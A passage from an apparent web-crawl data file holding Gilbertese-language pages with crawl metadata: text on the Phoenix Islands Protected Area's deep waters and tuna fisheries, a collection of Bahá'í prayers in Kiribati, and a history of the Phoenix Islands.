Aio e rianako arona ngkai bobotan te aono ae kainaki bon moan te buburakaei ao ngaia ngkai te kabanea n nano n te aonnaba. N taai aikai ao e nang ni karako ae e a tia ni kamatebwaia te maiu i kabin marawa ao ngkai PIPA e reita kabin marawa bwa te okai ao anne ngkanne e nang kona ni kaotinakoi kukune aika boou nakon te aonnaba nakon taai aika a na roko. Iai te bakoa are a tia ngkoa n noraki n te bwai n rawetamnei are e kateboaki nako kabin marawa ma a tuai taan rabakau n ataia raoi bwa tera aron te bakoa aei ao e maiu ni kanga n te aeka n nano anne. E katautauaki nanon marawan te PIPA bwa e raka iaon 4,000 te mita.\nIai naba te bwai ae raka iai te okai ae PIPA bwa a mwaiti taian maunga aika warekeno i kabin marawana. Maunga ni warekeno aikai aikoa maiu ma a riki ngkai bwa taan anga te maiu nakoia ika ni kabane mai kabin marawa nako mataniwi. Tabeua taubukin maunga aikai ake a riki ba taian aba aika aban Rawaki ao bon iai naba ake a tei i kabin marawa n te nano ae 5,000 te mita iaan tare. Riaon raaben nako taian maunga aikai ao a riki iai taian rakai ake a riki bwa mwengaia ikai ao a kaai ni maiu ma ika. Taari ae birirake mai kabin marawa nako mataniwi riaon raaben maunga aikai a bon uota te maiu ae tabwanin nakoia ika ma rakai.\nN te tai aio ao a tuai tia kakae iaon te reitanimaiu ma maiuia maan ma kaai ake a uarereke inanon marawa ake a riki bwa kanaia ika ake a bubura riki aika ikan kabin marawa. E mwaiti te kakae ae riai ni karaoaki inanon marawan Rawaki ao n tian aikai ao iai te kanamakin bwa a na bon bae ni kuneaki maari ma aekan ika riki tabeua aika a tuai man kuneaki irouia taan rabakau.\nUtun nako te ingimea ma te ati (tuna) ngaia ngkai ae riki bwa aia takete kaibuke n akawa n te aonnaba ao aio ae reke naba kabwaian Kiribati iai ao aba nako ake a kaina te Parties to the Nauru Agreement (PNA). E riaon 50% mwaitin te tuna ae anaki bwa kanaia kain te aonnaba ae bwanin mai nanon te marawa ae te Betebeke maeao ao nuka are ti mena iai (2.4 te mirion te tan n 2009) ao e kaan 40% are a reke iai aia mwane aban nako te PNA. Te karekemwane man taian raitienti n akawa bon ngaia oin aia karekemwane aban te PNA. Ibukin aio ao Kiribati e a katea iai ana okai ae PIPA bwa e na buoka kateimatoaan te kaubwai ae te ika ae te tuna.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/phoenixislands.org\/deep_water-ki.php","date":"2017-03-27T10:34:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189471.55\/warc\/CC-MAIN-20170322212949-00331-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":481,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.387,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Return\nFacebook\nZip File\nAtongnga: Te Atua, ae Atuau! Bauna atuu ma baun te motiraoi, ao au tembora ma timutimu n te babaire ae eti. Boni Ngkoe, ni koaua, te Tia Bwain Bwaaintangira ni kabane ma Kakabwaia.\nTe Atua ae Atuau! I Butiiko, n Aram ae moan te mimitong, ni buokai bwa a aonga ni waaki raoi aia mwakuri Am toro, ao bwa a na waaki raoi Am kaawa nako. Boni Ngkoe, ni koaua, are iai Mwaakana i aon bwaai nako!\nTe Atua kataua bwa ootan te katiteuanaaki e na otabwaninia te aonaaba ae e bwanin, ao bwa te karikina, are bon \"Uean te Atua\", are e na kanimaki i aon aia aari aomatana nako.\nTE KATITEUANAAKI\nAtuau! Atuau! Katiteunai nanoia Am toro, ao kaotii nakoia bukin Am Waaki ae e kakannato. A bia touamwiin Am moti ao ni mena i nanon Am tua. Buokiia, te Atua, n aia kekeiaki, anganiia te korakora ni beku i Bukim. Te Atua! Tai katikuiia n tii ngaiia, ma kairi ingin waeia n ootan Am atatai, ao kaungai nanoia n Am tangira. Ngkoe, ni koaua, aia Tia Ibuobuoki ao aia Uea.\nTATARO TABEUA\nTe mimitong Nakoim, Ngkoe te Atua, i bukina ngkai Ko kaotiota te tangira nakon te botannaomata! Boni Ngkoe are Maiura ao Ootara, kairiia Am toro ni Kawaim, ao bwa ti na kaubwai Iroum ao ni kainaonmtaiira man bwaai nako ma tii Ngkoe.\nTe Atua, reireiniira Am Katiteuana ao anganiira namakinan Am Katiteuanaaki, bwa ti aonga n aki noora temanna ma tii Ngkoe. Boni Ngkoe te atataiaomata ao te Tia Aanga te kakabwaia!\nTe Atua, karika i nanoia ake Ko tangiriia ain Am tangira, bwa E aonga ni kamaunai iangoan bwaai nako bwa tii Ngkoe.\nTe Atua, Kaotii nakoiira. Am bwai aika akea tokiia - ae kaman iai Ngkoe ao n akea naba Tokim, ao bwa akea riki te Atua bwa tii Ngkoe, Ni koaua, ti kunea Iroum te mweeraoi ao te korakora.\nTE KATOKI AORAKI\nAtuau, Aram bon katokan aorakiu, ao Uringam bon au bwai ni kamaru-rung. Kaaniu ma ngkoe bon au kaantaninga, ao Tangiram bon raoraou. Am ataataiaomata nakoiu bon katokan aorakiu ao betiau ni kauatabo n te aonaaba aei ao ae e na roko. Ngkoe ni koaua, bon te Kabanea n Tituaraoi, te Kabanea n Ataibwai, ao te Kabanea ni Wanawana.\nTE AKI MAM'ATAM\nTe nebonebo Nakoim, te Uea ae Atuau! I Bubutiiko ma te kainnano bwa n te Kaotioti aio are mai iai e a tia te rotongitong n onikaki nakon te oota, are mai iai e a tia ni kateaki Tembora ae Kakaawaki, ao e a tia ni kaotaki te Baba ni Koroboki ae e a tia ni Koreaki, ao rabunan te Niira-ni-Boki ae Tangaina e a tia ni kanakoaki, bwa Ko na karuoa nako aou ao nako aoia naake raraou ngkai te bwai are ti na konaa iai ni kiba rakea karawan Am mimitong ae e riao, ao are e na tebokiira man memean aekan nanououa ake a tia n tutukiia naake a namakina te ribuaka man te rin i nanon umanriannan Am katitueuana.\nAu Uea, Ngai teuare e a tia ni kamatoa n taua koran Am tangira-n-aakoi, ao n nimta rabin Am ataata-iaomata ao Am bwai n aakoi. Ko kataua i bukiu ao i bukiia naake a tangiraki irou raoiroin te aonaaba aio ao te aonaaba ae e na roko. Kaonoiia, ngkanne, n te Bwai n Tangira ae e Raba are Ko a tia ni baaireia iai naake a rineaki mai buakoiia ake Ko karikiia.\nAu Uea, aikai taian bong ake Ko a tia iai n tuangiia Am tabonibai bwa a na taua te aki mamatam. E a karaoiroaki teuare e taua te aki mamatam ti i Bukim ao ma kororaoin te raurenako man bwaai ni kabane ma tiaki Mairoum. Au Uea, buokai ao buokiia n ongeaaba Iroum ao ni kaawakin Am tua ni kairiiri. Ni koaua iai Iroum te mwaaka ni karaoa are Ko rineia.\nBon akea te Atua bwa tii Ngkoe, te Kabanea n Ataibwai, te Kabanea ni Wanawana. A bane nebonebo nakon te Atua ae te Uea n aonaaba ni kabane.\nTE TAIRIKI\nAtuau, au Mataniwi, are bon katokin au kaantaninga! Aei, bon Am toro are e iangoa matuuna i aan kamanomanon Am atataiaomata, ma ni matu i aan Umwam n aakoi, ao ni Bubutiiko ma te nanorinano Am tararua ma Am kakaawakin.\nI Butiiko, au Uea, ni Matam aika a bon aki mamatu, bwa Ko na kawakinii matau n aki noora teuana bwa tii Ngkoe. Kakorakorai, ngkanne, aia noraaba bwa a aonga n noori Am kanikina, ao n noora rubin karawan Am Kaotioti. Boni Ngkoe Ngaia are i matan Ana Kaotioti are a mwaeiei iai taian korakora nako.\nBon akea te Atua bwa tii Ngkoe, Moan te Mwaaka, te babaairei bwaai nako, te Aki ataaki Arona.\nTE MOANINGAABONG\nI a tia n teirake n te ingabong aei man Nanom n aakoi, Atuau, ao ni kiitana mweengau ma ni kabwanina au onimaki Iroum, ao ni kaburea taekau nakon Am kakaawakin. Karuoa, ngkanne, nako aou, man karawan Am ataataiaomata, te karaoiroi teuana mai Rarikim, ao e na konaa iai n reke irou okiran mweengau i nanon te mauri n ai aron are Ko a tia n anganai te konaa ni mwananga i aan Am kakaawakin ma au iango ake a tia n teimatoa ni kaineti Nakoim.\nBon akea riki te Atua bwa ti Ngkoe, te Onoti n Tii Ngaia, ae Akea Kabotauana, te Kabanea n Ataibwai, te Kabane ni Wanawana.\nTE INGABONG\nI a tia ni uti i nanon Am katantan, Atuau, ao e riai bwa teuare e ukoukora katanana ni maeka i nanon Am tabo ae e tabu ae e kakaawakin ma korakoran Am totoko. Kaootaa nanou, au Uea, ma ootan nako rikiraken Bongin Am Kaotioti, n aron ae Ko bon kaootaa naba rabwatau n ootan ngainan Am aakoi.\nTE INGAABONG\nAtuau ao au Toka! Bon ngai Am toro ao ana nati te mwaane Am toro. I a tia n teirake mai aon nneu ni wene n te ai-oota aio ngke e a tia n oota nako iai Itoin Ngainan Arom ae ti teuana man Koburaken Ngainan Nanom, ma n tia ni kataorababa nako ootana i aon te aonaaba ni kabutaa, n ai aron are e a tia ni motikaki bukina i nanon Bokin nako Am Kaetieti.\nTe nebonebo nakoim Ngkoe, Atuau, ngkai ti a tia ni uti i nanon mimitongin ootan Am ataibwai. Karuoa, ngkanne i aora, au Uea, are e na konaa ni buokiira ni kaaki taekan temanna i Rarikim, ao e na taeinako ni kabane mairoura mwaninganakora n te bwai teuana ma ti Ngkoe. Ao i aon riki anne korobokiia i bukiu, i bukiia ake a tangiraki irou, ao i bukiia naba au utuu, te mwaane ma te aine kaboraoiia iai, raoiroin te aonaaba aio ao te aonaaba ae e na roko. Kakamauriira ngkanne rinanon Am kakaawakin ae ai uauanako naba, Ngkoe ae Moan te Tangiraki irouia karikibwai nako ao are Maamatenanoia aonaaba ni bwaniniia, mairouia ake Ko a tia ni karaoia bwa kaotiotan te tia wiwi ae e Buaakaka, ake a wirikiriki i nanon bwanibwaniia aomata. Ko bon mwaaka ni karaoa are Ko kani karaoia. Boni Ngkoe, ni koaua te Kabanea ni Mwaaka, te Buoka n te Nibwa ni Mate, te Maiu i bon Irouna.\nNgkoe te Uea ae Atuau, karaoiroa Teuare Ko na tia ni kateia i aona Aram aika a moamoa, ao Rinanona Ko a tia ni kaokoroia aika a raoiroi ma aika a buaakaka, ao aakoira ni buokiira ni karaoa are Ko tangiria ma n nano iai. Kakabwaiaia, riao riki, Atuau, naake bon Am Taeka ao Manin Am Taeka, ao naake a tia ni kainetii moaia Nakoim, ao n tia n rairaki nako Moam, ma n tia ni kakauongo n Am Weewete.\nBoni Ngkoe, ni koaua, aia Uea ao aia Toka aomata ni kabane, ao Ko Mwaaka i aon bwaai ni kabane.\nTE TATARO AE E KABAEBAE AE E KIMOTOTO\nE RIAI N ANAAKI TE TATARO AIO TE TAINA I NANON UABWIMAAUA TE AOA, N TE TAWANOU.\nI kakoauaa, Atuau, bwa ko a tia ni karikai bwa N na Ataiko ao n Taromauriiko. I kakoauaa, ngkai naba, i bukin au aki konabwai, ao i bukin Korakoram, i bukin kainnanou ao i bukin Kaubwaim.\nBon akea riki te Atua bwa tii Ngkoe, te Buoka n te Nibwa ni Mate, te Maiu i bon Irouna.\nTE BUOKA N TAIN TE KATAITAI KANAKOAN TE KANGAANGA\nIai ae e kakanakoi kangaanga i rarikin te Atua? Atonga: E na neboaki te Atua! Ngaia bon te Atua! Ni kabaneiia bon Ana toro ao a bane n iira nanon Ana taeka!\nTe Atua, reireiniia ataei aikai, Ataei aikai bon arokan Am tabo ni unuuniki, ueen Am tawaana, ao rootin Am onaroka. Kabwakaa Am karau i aoia; ao kaotaa Taain te koaua i aoia ma Am tangira. Kariaia Angim bwa a na kamaiuaki iai bwa a aonga ni kataneiaaki, n rikirake ao ni waakirake, ao ni kaoti n te tamaroa ae e kororaoi. Boni Ngkoe te Tia Angaanga Boni Ngkoe te Moamoaaomata.\nTe Uea! Karika te kairake aei bwa e na oota ao kamenaa Am kakabwaia i aon te karikibwai ae e kainnano aei. Anganna te rabakau, kataua n te korakora ae e na rikirake n ningabongin te bong koraki ao kakawakinna i nanon kamanomanon Am kakaawakin bwa e aonga ni kainaomataaki man te kaairua, bwa e aonga ni kakaonimaki ni mwakurin Am Waaki, ni kaiririia naake a tannako, ao ni buokiia naake a tekebuaka, ni kainaomataia taenikai ao ni kautiia naake aki kuba, bwa a aonga ni kabane ni kakabwaiaaki ni Uringam ao Neboam. Boni Ngkoe te Mwaaka ao te Korakora.\nTe Atua, kairai, kaawakinai, karikai bwa te taura ae raneanea ao te itoi ae e raititi. Boni Ngkoe te Mwaaka ao te Korakora.\nTe Atua, kamenaia tamneiu ao kakukureia. Kaitiaka nanou. Kaootai korakoran nako. I katikui taekan au mwakuri ni kabane i nanon Baim. Boni Ngkoe au Tia Kairiiri ao au Nono. N na aki tiku ni maan n rawaawata ma n nanokaawaki; n na bon kukurei ma ni kimwareirei. Atuau, n na aki manga reke n te raraoma ae e korakora, ke ni kataua naba te kakumekume ae e na bwakarai. N aki iangoi naba bwain te maiu aei aika a bubuaka. Te Atua! Boni Ngkoe ae E rangi ni korakora riki Am tangira nakoiu, nakon au tangira i bon i bukiu. I a kaburea taekau nakoim, au Uea.\nAu Uea, au Tangira, Maamatenanou! Raonai i nanon maroaau ao irai ni kakioakiu nako mai abau. Kanakoa nanokaawakiu. Karekeai bwa N na katabua maiu i bukin Tamaroam. Kakerikaakai man bwaai nako ma tii Ngkoe. Kariiai n Am boiarara ae e tabu. Karikai bwa N na irekenrao i nanon ueam ma naake a mwaawa man bwaai nako ma a aki mwaawa Mairoum, naake a ingainga ni bekua atiibun Am mataroa ae e tabu ao naake a tei i bukin te mwakuri i nanon Am Waaki. Karikai bwa temanna i buakoia Am tabonibai aika aine ake a tia n roota kakukurein Nanom. Boni Ngkoe, ni koaua, te Raoiroi te Tituaraoi.\nTe Uea ae Atuau! Buokiia aika a tangiraki Iroum bwa a na teimatoa n Am Aro, n nakonako ni Kawaim, ma n nene n Am Waaki. Anganiia Am raoiroi bwa a na tangira tuukan korakoran kaibwabwarun te rabwata, bwa a na ira ootan te Kairiiri ae e Tabu. Boni Ngkoe te Korakora, te Tamaroa, te Maiu i bon Irouna, te Tituaraoi, te Nanoanga, Moan te Mwaaka, Moan te Aakoi.\nTe Uea! Ti kaawa, anganiira Am Akoi; ti kainnano, kamenaa i aora te tibwanga man marawan Am kaubwai; ti tangira buokara, Ko na karauakiira; ti mangori, anganiira Mimitongim. Mannikiba i eta ao maan n te tawaana a karekei kanaia mai Iroum ni katoa bong ao are a bon bane ni iai tibwaia n Am kakaawakin ao Am tangira n tituaraoi.\nTai kamwaawaa ae e tangira buokana man Am raoiroi ae e kamiimi ao aanga ni Mwaakam Am atataiaomata nakon te tamnei ae e kainnano aei.\nAnganiira karara n te bong ae e koraki ao kariaia rikiraken baika a kainanoaki n te maiu aei, bwa ti aonga n tii tine i Aam n akea riki i Rarikim, bwa ti aonga n itabon ma Ngkoe ni bwaninra, bwa ti aonga n nakonako ni Kawaim ao n kaotiotii Kamimiim nako. Boni Ngkoe Moan te Mwaaka ao te Tatangira ao te Tia Katituaraoi i bukin te botannaomata.\nTe Uea! Ti mamaara; kakorakoraiira. Te Atua! Ti nanoroo; karikiira n ataibwai. Te Uea! Ti kainnano, karikiira ni kaubwai, Te Atua! Ti a bon mate; kautiira. Te Uea! Ti bon mangori; kamimitongiira i nanon Abanueam. Ngkana Ko buokiira, te Uea, ti na bon riki n aroia itoi aika a raraitiiti. Ngkana Ko aki buokiira, ti na bon riki n rinano riki nakon te aonaaba. Te Uea! Kakorakoraiira. Te Atua! Karikiira bwa ti na tokanikai. Te Atua! Karikiira bwa ti na tokanikai i aon iango ni kaibwabwaru. Kainaomataira man taenikaira n te aonaaba n rabwata. Te Uea! Kautiira rinanon ikeiken te Tamnei ae Raoiroi bwa ti aonga n teirake ni beku i Bukim, katabeiira n Taromauniko, ao ti na kekeiaki n Abanueam ma te nano ae e kororaoi. Te Uea! Ko bon mwaaka! Ko bon Kakabwarabure! Te Uea, Ko bon Rangi ni Moamoaaomata!\nTe Atua! ae Atuau! Kamanoia Am toro aika a onimakinaki man buakakan nako oin nanoiia ao kaibwabwarun te rabwata, kawakiniia ni matan Am tangira n aakoi ae e tarataraia man aeka nako n riribai, kairiribai ao bakantang, kamanoia i nanon matoatoan nonon Am kakawakin ao, kaawakiniia man kateben te raraoma, karikiia bwa taan kaotiota mimitongin Am kanikina, kaootai moaia ma oota ake a oota nako man Rikianingainan Am katiteuana n Tamnei, kakukurei nanoia ma kiibu nako ake a tia ni kaotaki man Am Abanuea ae e tabu, kamatoai nuukaia ni Korakoram are e rooti bwaai nako are e roko man abanuean Mimitongim. Boni Ngkoe te Kabanea n Tituaraoi, te Kakaawakin, Moan te Mwaaka, te Tamaroa!\nTe Atua! Te Atua! Bon aio te mannikiba ae e uruaki baina ni kiba ao e a karaurau ni kiba - buokia bwa e aonga ni kiba nako taberan te tekeraoi ao te kamaiuaki, ma ni kiba i aon kawaina ma te kukurei ni koaua ao te kimwareirei ribuakon aanang ae akea tokina, n tabekaraka ana anene n Aram ae moan te Kakannato n taabo nako, kakurei taningana ma te weewete aei, ao katokai matana n nooran kanikinaan nako te kairiiri!\nTe Uea! Ti temanna ngkai, n ti ngai, ao n rinano. Bon akea riki buokau ma ti Iroum, akea ae e na bubuokai ma tii Ngkoe ao akea te Tia kamatoaai i Rarikim. Kamatoaai n Am beku, buokai irouia Am anera, karikai n totokanikai ni kawaakan Am Taeka ao kakorakaiai n taekina Niniwanam i buakoia Am karikibwai. Ni koaua, Boni Ngkoe te Tia Buokiia ake a mamaara ao te Tia Kamanoia aika a uarereke, ao ni koaua, boni Ngkoe te Korakora, te Mwaaka ao Akea Tautauana!\nAAN ET WAAKI\nNi kabaneiia aika raraon te Atua... a riai n angaanga n aron tokin aia konaa, e ngae ngke tao a niniku ni mwaitin aia karea. E aki karawawata te Atua temanna te tamnei i aon ana konabwai. Tain anganano aikai a riai n rooroko man taabo nako mairouia taan onimaki ni kabane... Raoraon te atua! Kam na ataia raoi bwa onean mwiin angakekeiaki, ao ami karikirake a na kakabwaiaaki n raaka aika uauatao, ma bwaintangira ma bwain tituaraoi aika a bati. Teuare e roko ma te mwakuri teuana ae e tamaroa a na reke irouna kanuwanga aika tebwina mwaitina. Bon akea te nanououa bwa te Uea ae E maiu E na kaewaai kamatoakii naake a kakanakoi kaubwaiia naake a kakanakoi kaubwaiia i nanon Kwaina.\nTe Atua, ae Atuau! Kaotai moaia Am koraki ake a Taatangiriko ni kaoaua, ao buokiia ni barongai anera n te tokanikai ae e koaua raoi. Kamatoai waeia i aon Kawaim ae e eti, ao man Am tituaraoi are mangkoa kauki i mwaaiia mataroa Am kakabwaia; bwa a kaakabanea i aon Kawaim baike Ko a tia n anganiia, n tararuaa Am Aro, ni katutuka aia mwioki i nanon aia Ururingko, n angaanga nanoia i bukin Tangiram, ma n aki tauanibwai ni kaubwaiia i bukin neboan Tamaroam, ao ni kakaaei aangi i bukin Kakukureiam.\nAu Uea! Baairea te tibwa ae e mwaiti i bukiia te kaboomwi ae e kaman katauaki ao te kanuwanga ae e koaua.\nBoni Ngkoe, ni koaua, te tia Angaanga te Maiu, te Tia Buobuoki, te Aakoi, te Tituaraoi, te Angaana n taai nako.\nTATARO I BUKIIA ATAEI AO TE RORONRIKIRAKE\nTe Atua! Karikirakea te teei ae e uarereke aei i nanon bwanibwanin Am tangira, ao kammamma ni Am katoronibai. Ribanaa te aroka ae e uarereke aei i nanon nen rootin Am tangira ao buoka rikirakena ni bwakan karaun Am aakoi. Karikia bwa ataein te Abanuea ao kairia nakon Am Abanuea ni karawa. Boni Ngkoe te Korakora ao te Aakoi, ao boni Ngkoe te Tituaraoi te Moamoaaomata, Uean te Aakoi ae e riaon bwaai nako.\nTE MARE\nKo kamimitongaki, Ngkoe Atuau! Ni koaua, bon Am toro aei ao Am toro naba te aine aei, ake a tia ni ikotaki i aan nuun Am atataiaomata ao ni katiteuanaaki rinanon Nanom ao Am moamoaaomata. Te Uea! Buokiia i nanon te aonaaba aei ao n Abanueam ni karekei nakoiia baikaa a raraoi man Am kakabwaia ao Am raoiroi. Te Uea! Kateimatoaiia i nanon aia beku i Bukim ao buokiia n aia beku i Bukim.\nKarikiia bwa kanikinaean Aram n Am aonaaba ao kawakiniia rinanon Am tituaraoi aika a akea tiaia n te maiu aei ao are e na roko. Te Uea! A bubutii nakon Abanuean Am atataiaomata ao ni bubutii nakon Abanuean Arom ae ti teuana. Ni koaua, a bon mare n ongeaba nakon Am moti.\nKarikiia bwa a na riki bwa kanikinaaean te rau ma te katiteuana ni karokoa tokin tai. Ni koaua, Boni Ngkoe ae Moan te Mwaaka, Ko mena n taabo ni kabane ao Moan te Kakannato.\nBOTAKI N TAMNEI\nN te tai are kam rin iai n te ruuni-bowii, anaa te tataro aio ma te manawa ae e bukibuki n tangirakin te Atua ao te newe ae e itiaki ni kaakeai bwaai ni kabane i rarikin Ururingana, bwa e bia te Kabanea ni Mwaaka n aakoi ni buokingkami ni karekea te tokanikai ae e riao.\nTe Atua ae Atuau! Boni ngaiira Am toro ake ti a tia ni kamwawaira man bwaai ni kabane i Rarikim i nanon te Bong ae e mimitong aio. Ti a tia n ikotaki i nanon te Botaki n Tamnei aio, ni katiteuanaaki n ara taratara ma ara iango, ao ni kaboraoaki aan ara kaantaninga i bukin kamoamoaan Am Taeka i buakoia botannaomata. Te Uea, ae Atuara! Karaoiira bwa kanikinaaean Am kairiiri ni karawa, bwa maniuan Am Aro ae e karietataaki i buakoia aomata, bwa tabonibai i bukin Am Mwioko ae e korakora, Ngkoe ara Uea ae Moan te Rietaata, bwa kaotiotan Am Katiteuanaaki n Atua i nanon Am Abanuea ni Mimitong, ao itoi aika a raneanea n ootanako n aono ni kabane. Te Uea! Buokiira n riki bwa taari aika a ing man naouean Am raoiroi ae e kamiimi, raanga n ran aika a waanako man Am Tabuki aika a moanibaa ni mimitong, uaa aika a raraoi i aon Kain Am Waaki ni karawa, kaai aika a maeiei n angin Am Tituaraoi i nanon Am Onaroka ni kureebe mai karawa. Te Atua! Karaoa tamneira bwa a na tinea Kibun Am Katiteuana n Atua, kakimwareireian nanora raanganakon Am Raoiroi, bwa ti aonga n tii teuana n aron naoni marawa ae teuana ao n riki ni butaki n aron buraenimatan Am oota ae e raneanea; bwa a aonga ara iango, ara taratara, ara namakin n riki iai bwa koauan aroia ae teuana, ni kaotiota angin te boonnano ni kabutaa te aonaaba. Boni Ngkoe te Raoiroi, te Tituaraoi, te Tia Aanga, Moan te Mwaaka, te Ataataiaomata, te Nanoanga.\nIBUKIN TE MATE\nAtuau! Bon Am toro aio ae te nati te mwaane ae natin Am toro are e a tia ni Kakoauako ma Am kanikina, ao ni kaineta moana Nakoim, ni kabwaninaki ni kamwaawaaki man bwaai nako ma bon ti Ngkoe. Bon Ngkoe, ni koaua, te kabanea n ataataiaomata mai buakoia naake a kaota te ataataiaomata.\nNgkoe Are E kakabwarai bureia aomata ao E kakarabai aia kaairua, baairea taekana n ai aron botaun karawan Am tituaraoi ao marawan Am raoiroi. Kariaia rinna i nanon Oon Am atataiaomata ae riao are iai i mwaain bouakinan te aba ao karawa. Bon akea te Atua bwa tii Ngkoe, Kakabwarabure te Kabanea n Tituaraoi.\nKe e na atonga, ngkanne, onoua te tai te kamauri \"Allah'u'Abha\", ao ngkanne atonga kaka tebwimaruaiwa te tai kiibu aika i nano n tatabeua nako:\nTi bane, ni koaua, n taromauria te Atua.\nTi bane, ni koaua, ni bobaraaki i matan te Atua.\nTi bane, ni koaua, ni kabanei nanora i bukin te Atua.\nTi bane, ni koaua, n anga te nebonebo nakon te Atua.\nTi bane, ni koaua, n anga kaaitau nakon te Atua.\nTi bane, ni koaua, ni kaantaninga iroun te Atua.\n(Ngkana te mate te aine, ke e na atonga: Bon Am tabonibai te aine aio ao te nati te aine ae natin Am tabonibai, etc...)\nAtuau! Ngkoe ae te Tia Kabwarai buure, Te Tia Tituaraoi, te Tia Kabebetei-naano!\nNi koaua, I Bubutiiko ma te nanorinano bwa Ko na kabwarai bureia naake a katikui rabwataia ao a tia rierake nakon te aonaaba n tamnei.\nAu Uea! Kaitiakiia man taian bure, katoki nanokaawakiia, ao bita rotongitongiia nakon te oota. Karikiia bwa a na rin n onarokan te kimwareirei, kaitiakiia ma te ran ae moanibaan te itiaki, ao katauia bwa a na noora Mimitongim i aon te tabuki ae moan te rietaata.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/bahaiprayers.net\/Book\/Full\/Kiribati\/54","date":"2017-03-30T12:43:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218194600.27\/warc\/CC-MAIN-20170322212954-00516-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":3614,"character_repetition_ratio":0.053,"word_repetition_ratio":0.003,"special_characters_ratio":0.217,"stopwords_ratio":0.392,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rimoa ngkoa n aia tai taan ieie n te waa, 3,000-5,000 te ririki n nako, ao a tia ni koromabeaki aban nako te Betebeke ike e a kaotaki iai bingingiin te Aono n Rawaki ni kabotauaki ma toakaein aba aika Biti, Tahiti, Hawaii, ao Tamoa. Imwin taian keniken iaon aban te Aono n Rawaki ao e a kuneaki bwa iai kaain aba aikai ngkoa ma ibukin raroakinokinona ma aba ake iai kaaia ao anne bukina ae aki maan n tiku ni maeka ikanne. Okoron te aono anne ma aba ake a toka i maiakin te ekuetoa bwa bon moan te karako te ran iai ao anne raoi ae karika te aki maan tiku irouia aomata ni maeka iai.\nN ririki aika 1800 tabun ao iai taan waikua mai Amerika man taabo aika Nantucke ao Bew Bedford ao Massachusetts aika a kunei taian kua-ni-marawa aika a mwaiti ni marawan te Betebeke. Angiin te waikua a bon karaoaki n aban Kiribati ri-rarikin te Aono ae Rawaki. N tabetai ao mwane kuua aika e riaon 600 mwaitia irouia taan waikua aikai. Aio bukina ngkai n taai aikai ao bon moan te karako norakin te kua-ni-marawa n te Aono n Rawaki. Bon iai mwin biti ma burati aika a kuneaki iaon aban nako Rawaki ao aikai bon bitin nako te bwai ni waikua.\nMai mwin ana kamatebwai teuae nang kinaki n te aonnaba ae Charles Darwin n ririki aika 1831 nakon 1836 ao e a koroi aron moan rikin taian rakai ma aane. N ana kabwarabwara ao e aki toki n tataekini aban te Aono n Rawaki.\nN ririki naba akana 1800 tabun ao e a kuneaki te tano ae te kuano iaon aban Rawaki tabeua. Tabeua aban Rawaki a mwaiti kuano iai bwa a roko n te bubuaniwae rietaia iaon te aba. Kain Buritan ao Amerika aika a kenii taian kuano aikai inanon ririki aika a mwaiti man aban nako Rawaki. Ni banen te kaubwain aei n 1937 ao a katukaki taekan aaba aikai iroun Buritan bwa raonan aba aika Kiribati ma Ereti ake mena iaan ana korone. Uoua te ririki imwina ao Amerika e a manga bwaka nanona n aaba aika Kanton ma Enderbury, ao e a manga anai ni katikui i aana.\nN te ririki ae 1937 n te bong ae te Kanimabong ae 2 n Turai ao te bwairati ae kinaki n te aonnaba ae Amelia Earhart e kiba ma raona ae Fred Noonan mai Lae i Babua Niukini bwa a na kaea Howland, teuana aban Amerika ae mena naba inanoaan te Aono n Rawaki. E aki roko ni kawaina te wanikiba aei bwa e bua naba iaan ang n akea naba mwanekana teutana n tiku imwina. Te rabwata teuana ae kinaki are tabe ma kakaeakin wanikiba ni-kawai ae te TIGHAR e kaota mwin ana kakae iaon ana wanikiba Earhart ao e taku n ana katautau bwa e bwaka te wanikiba aei iaon Nikumaroro, ae aban Rawaki teuana. E moana ana kakae TIGHAR man te ririki 1980 iaon Nikumaroro ao ni karokoa ngkai e bon tuai man reke kamatoan ana katautau aei.\nBuritan ao Amerika a bon boraraoa kawakinan aaba aikai n te maan ae 50 te ririki bwa man 1939 nako moan 1979, te ririki are e inaomata iai Kiribati. Inanon ririki akanne ao Buritan ma Amerika a kataia naba ni kakaei anga ake a na maekanaki iai aban Rawaki aikai bwa a na kamwaeaki aomata mai aban Kiribati ake a ibetutu. Iai naba iangoan kawaakan te oroben ma unikan taian nii irouia ake a na kamwaingaki ma n te ririki ae 1963 ao a bane n aki koro nanon iango ao waki aikai.\nTe aba ae Kanton bon ti ngaia ae korakora kabonganaana n taai akekei, tao ibukin buburana ae 8 kmᶽ ao namana ae tan raoi. Te kambwana ni wanikiba ae te Pan American Airways e moana kabonganaan naman Kanton n te ririki ae 1939, are e a karaoia iai bwa te tabo ni bwaa irouia wanikiban taari ake a kikiba rietan Kanton nako Nutiran. N tain Buakan te Aonnaba ao ana Taanga ni Buaka Amerika e karika Kanton bwa nnena ao ikanne are e a karaoa iai te marae ni wanikiba ae te toakaei ibukiia ana nna ni wanikiba. Imwina riki ao te NASA e a manga karaoa Kanton bwa nnen ana tiaeteraite are e na mamataukirooaki iai karaian bwainibuaka aika mwakaroiroi. N te tai aei ao bon ti Kanton ae iai aika a maeka iai bwa ana taan mwakuri te Tautaeka ma kain aia utu.","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/phoenixislands.org\/history-ki.php","date":"2017-03-27T10:34:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189471.55\/warc\/CC-MAIN-20170322212949-00595-ip-10-233-31-227.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 